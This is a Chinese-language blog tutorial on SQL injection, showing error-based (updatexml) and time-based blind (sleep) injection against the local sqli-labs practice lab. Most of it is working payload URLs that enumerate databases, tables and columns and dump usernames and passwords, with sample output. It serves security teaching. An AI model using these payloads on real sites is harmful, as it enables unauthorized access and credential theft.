496 字
2 分钟
SQL 注入:报错注入与时间盲注

【报错注入】

and (updatexml(1,concat(0x7e,(select database()),0x7e),1))

updatexml(1,2,3)

第二个参数要写xml路径,如果填了其他参数,就会报错。如果报错了,就会把第二个参数的结果单做报错的一部分,进行输出。

concat():可以将多个字段组合成一个字段。

group_concat():可以将多个字段多行数据,变成一个字段,一行数据。


http://127.0.0.1/sqli-labs/Less-1/?id=1 ’ or (updatexml(1,concat(0x7e,(select database()),0x7e),1)) or ’

如果有单引号使用如上书写方式

http://127.0.0.1/sqli-labs/Less-2/?id=1 or (updatexml(1,concat(0x7e,(select database()),0x7e),1))

​ security

如果什么特殊方式都没有使用如上书写方式

​

mysql->数据库->表->字段->详细信息。

获取数据库的表名方式有两个,一个用limit ,另一个用substr()如下所示

http://127.0.0.1/sqli-labs/Less-2/?id=1 or (updatexml(1,concat(0x7e,(select table_name from information_schema.tables where table_schema=database() limit 1,1),0x7e),1))

http://127.0.0.1/sqli-labs/Less-2/?id=1 or (updatexml(1,concat(0x7e,( substr(( select group_concat(table_name) from information_schema.tables where table_schema=database() ),1,30) ),0x7e),1))

​ emails,referers,uagents,users

获取字段名,如下所示:

http://127.0.0.1/sqli-labs/Less-2/?id=1 or (updatexml(1,concat(0x7e,( substr(( select group_concat(column_name) from information_schema.columns where table_schema=database() and table_name=0x7573657273 ),1,30) ),0x7e),1))

​ id,username,password

获取详细信息,如下所示:

http://127.0.0.1/sqli-labs/Less-2/?id=1 or (updatexml(1,concat(0x7e,( substr(( select group_concat(username,’->‘,password) from users ),31,30) ),0x7e),1))

​ Dumb->Dumb,Angelina->I-kill-you,Dummy->p@ssword,secure->crap


​ 【时间盲注】

if(1=1,sleep(2),1)

http://127.0.0.1/sqli-labs/Less-9/?id=1’ and if(1=2,sleep(2),1) —+

判断下是否存在时间盲注

http://127.0.0.1/sqli-labs/Less-9/?id=1’ and if(length((select database()) )=8 ,sleep(2),1) —+

判断数据库名的长度

http://127.0.0.1/sqli-labs/Less-9/?id=1’ and if(ascii( substr(( select database() ),2,1) )=101,sleep(2),1) —+

http://127.0.0.1/sqli-labs/Less-9/?id=1’ and if((select count(table_name) from information_schema.tables where table_schema=‘security’)=4,sleep(2),1) —+

判断表的数量。

http://127.0.0.1/sqli-labs/Less-9/?id=1’ and if(length((select table_name from information_schema.tables where table_schema=‘security’ limit 0,1 ) )=6,sleep(2),1) —+

判断表的名字长度

http://127.0.0.1/sqli-labs/Less-9/?id=1’ and if(ascii( substr(( select table_name from information_schema.tables where table_schema=‘security’ limit 3,1 ),1,1) )=117 ,sleep(2),1) —+

判断某张表的某个字符的ascii码。

users

http://127.0.0.1/sqli-labs/Less-9/?id=1’ and if((select count(column_name) from information_schema.columns where table_schema=‘security’ and table_name=‘users’)=3,sleep(2),1) —+

判断字段的数量。

http://127.0.0.1/sqli-labs/Less-9/?id=1’ and if(length((select column_name from information_schema.columns where table_schema=‘security’ and table_name=‘users’ limit 0,1 ) )=2,sleep(2),1) —+

判断某个字段的长度

http://127.0.0.1/sqli-labs/Less-9/?id=1’ and if(ascii( substr(( select column_name from information_schema.columns where table_schema=‘security’ and table_name=‘users’ limit 0,1 ),1,1) )=105,sleep(2),1) —+

判断某个字段的某个字符的ascii码。

username,password

http://127.0.0.1/sqli-labs/Less-9/?id=1’ and if((select count(username) from users )=13,sleep(2),1) —+

判断第一个账号的数量

http://127.0.0.1/sqli-labs/Less-9/?id=1’ and if(length((select username from users limit 0,1 ) )=4,sleep(2),1) —+

判断第一个账号的名字长度

http://127.0.0.1/sqli-labs/Less-9/?id=1’ and if(ascii( substr(( select username from users limit 0,1 ),1,1) )=68,sleep(2),1) —+

判断第某个账号的某个字符的ascii码。

SQL 注入:报错注入与时间盲注
https://wangyi187.top/posts/sqli-error-time-blind/
作者
WangYi
发布于
2023-10-05
许可协议
CC BY-NC-SA 4.0